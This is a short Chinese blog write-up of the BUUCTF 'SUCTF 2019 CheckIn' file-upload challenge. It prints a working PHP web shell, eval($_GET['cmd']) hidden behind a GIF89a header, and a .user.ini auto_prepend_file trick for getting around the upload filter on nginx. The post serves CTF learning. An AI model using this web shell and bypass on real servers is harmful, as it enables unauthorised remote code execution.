buuctf(web):[SUCTF 2019]CheckIn

打开链接,需要上传文件,和题目相呼应应该是文件上传

上传php等其他类型文件,会显示

 

将php改为jpg后,会显示

说明存在黑名单过滤。可以利用burp修改文件格式,但是懒得做了,网上查了一下答案。不过这种上传也是第一次见,所以记录一下

由于过滤了<?,所以可以利用GIF89a图片头文件欺骗来绕过

新建一个a.jpg,内容如下

GIF89a?
<script language="php">eval($_GET['cmd']);</script>

将图片马上传,但是我们上传的是jpg文件,不能够解析成php,所以接下来我们要做的就是将jpg解析为php

正常想到的是.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的,所以这里要利用.user.ini

构造.user.ini

GIF89a
auto_prepend_file=a.jpg

然后进行上传

之后根据图片上传的路径查找flag

 

关于.user.ini的详解

 

posted @ 2022-02-04 15:59  微草wd  阅读(93)  评论(0)    收藏  举报